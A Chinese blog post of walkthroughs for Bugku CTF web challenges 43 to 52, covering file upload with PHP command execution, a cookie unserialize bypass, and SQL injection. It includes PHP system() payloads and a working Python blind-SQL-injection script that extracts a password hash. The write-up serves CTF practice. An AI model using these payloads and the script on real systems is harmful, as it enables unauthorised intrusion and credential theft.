BugkuCTF-WEB-第43题到第52题

本文详细解析了Bugku CTF平台WEB题目中的43至52题,涵盖了文件包含、SQL注入、WordPress漏洞、文件上传、目录扫描、布尔盲注等多种网络安全攻防技巧。作者分享了各题的解题思路和方法,包括SQL注入利用、文件路径构造、命令执行、盲注脚本编写等,并提供了相关WP链接和解题过程中的注意事项。
摘要由CSDN通过智能技术生成

BugkuCTF-WEB-第43题到第52题

https://ctf.bugku.com/challenges
这里整理了bugkuCTF-WEB 43-52题的部分解法,部分题目已失效,很多题目有多种解法,想多了解更多的同学请搜索相关题目的wp,想学习更多的同学,欢迎去bugku新平台CTF论剑场https://new.bugku.com/
在这里插入图片描述

43,48,49,50,52题的连接失效打不开,可能是暂时失效

43.文件包含2

在这里插入图片描述
题目地址:http://123.206.31.85:49166/连接已失效
本题wp来自:https://blog.csdn.net/qq_39629343/article/details/80148665
访问网址查看源码
在这里插入图片描述
将hello.php改成upload.php,访问
在这里插入图片描述
直接构造命令执行

<script language=php>system("ls")</script>

在这里插入图片描述
访问图片路径
在这里插入图片描述
直接访问文件
在这里插入图片描述
或者构造命令执行

<script language=php>system("cat 访问的文件名.txt")</script>

44.flag.php

在这里插入图片描述
题目地址:http://123.206.87.240:8002/flagphp/
在这里插入图片描述
login按钮是不能点的,F12看一下控制台
在这里插入图片描述
将这里的button改为submit,变成可以点击的按钮,但是好像无意义,抓包来看,爆破了一会,感觉突破点不在这
在这里插入图片描述
扫了一下目录,发现有flag.php,访问,是空白页,看不懂php代码
在这里插入图片描述
想起题目上提示:hint,get传个参数试一下,果真有东西
在这里插入图片描述

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];//变量cookie的值等于获取Cookie中ISecer的值
if(isset($_GET['hint'])){
   
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")//如果变量cookie的值等于$KEY,(注意这里的$KEY是用引号引起来的),则输出flag
{
      
    echo "$flag";
}
else {
   
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 

我们把cookie序列化一下
在这里插入图片描述
所以cookie的值应该为ISecer=s:0:"";
在这里插入图片描述
得到flag

45.sql注入2

在这里插入图片描述
题目地址:http://123.206.87.240:8007/web2/
在这里插入图片描述

直接admin admin登录会提示 password error!!@_@
如果随机用户名登录则会显示 username error!!@_@

想走一些捷径,试了试sql万能密码登录,爆破了一下密码,完蛋还真爆破出来了,admin123,额这题没这么简单吧
搜了搜wp果真不简单
看了一篇比较好的wp
用burpsuit抓包,再进行fuzz(模糊测试),用字典跑看usename的参数过滤了哪些关键词,其中数值为367的为没有被过滤的,数值为370的是被过滤的。
在这里插入图片描述

关键sql语句:select * from users where name=0 ,会输出所有语句。
在这里插入图片描述
减号没有被过滤,于是想到利用减号闭合,
在运算的时候,字符串‘admin’转换成0
在这里插入图片描述
admin’-1-’ 等于-1
admin’-0-’ 等于0
在这里插入图片描述
在这里插入图片描述
admin’-0-‘的时候为显示password error,说明条件为真,admin’-1-‘时候为username error,为false,猜测后台构造为:
s q l = s e l e c t ∗ f r o m u s e r s w h e r e u s e r n a m e = sql = select * from users where username= sql=selectfromuserswhereusername=username;当传入admin’-0-‘时sql语句为:select * from users where username=0,正常查询返回所有值。
当传入admin’-1-'时SQL语句为select * from users where username=-1,报错
在这里插入图片描述
构造SQL语句:
取字段中的值进行查询
mid((‘passwd’)from(-1)):d 这时需要取反
在这里插入图片描述
查询admin中第一个字符a的ascii码
select ascii(mid((‘admin’)from(1))); 取ASCII码的值时此时又不需要取反了,所以到这一步可以省掉一个REVERSE()函数
在这里插入图片描述
脚本编写:
从passwd字段中查询逐个查询字段值的ASCII码值判断,字段值范围缩小到了md5值的范围,i= (1.33)j in ‘0123456789abcdef’
passwd字段是一叶飘零师傅猜的:
在这里插入图片描述
payload:

 admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'

若ascii(MID((passwd)from(“1”)))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin’-1-’ 和 admin’-0-’ 形式

通过判断返回内容是否存在username error!!@_@"来确定条件是否为真
编写脚本如下:

#!-*-coding:utf-8-*-
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
   
    'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn'
}

password = ""
for i in range(1,33):
    for j in '0123456789abcdef':
        payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
        data = {
   
            'uname': payload,
            'passwd': '123'
        }
        r = requests.post(url=url,cookies=cookie,data=data)
        #print r.content
        if "username error!!@_@" in r.content:
            password += j
            print password
            break

运行结果:0192023a7bbd73250516f069df18b500,解md5为 admin12
在这里插入图片描述

创新方法,使用异或^也能做

提示中也没有过滤异或符号,联系到刚学的异或注入方法,构造admin1=01=1型式,则0(ascii(MID((‘admin’)from(“1”)))=“97”) 等价于 0^1=1
在这里插入图片描述
payload可以改成:

0'^(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")^'

拿到密码进去后根据其实输入ls即可得到flag
在这里插入图片描述
其它解题的方法:dirsearch+ds_store,
有时间做做
本题wp来自:https://www.cnblogs.com/rainbow7/p/11697444.html

46.孙xx的博客

在这里插入图片描述
题目地址:http://123.206.87.240:2014
在这里插入图片描述
打开题目是一个wordpress界面
扫了一下目录
在这里插入图片描述
在这里插入图片描述
试着打开每一个页面看一看有没有猫腻,结果都是正常配置文件或者插件

然后去找了wp,只找到这个
点开blog,浏览一哈全部的博客,然后看到了这
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值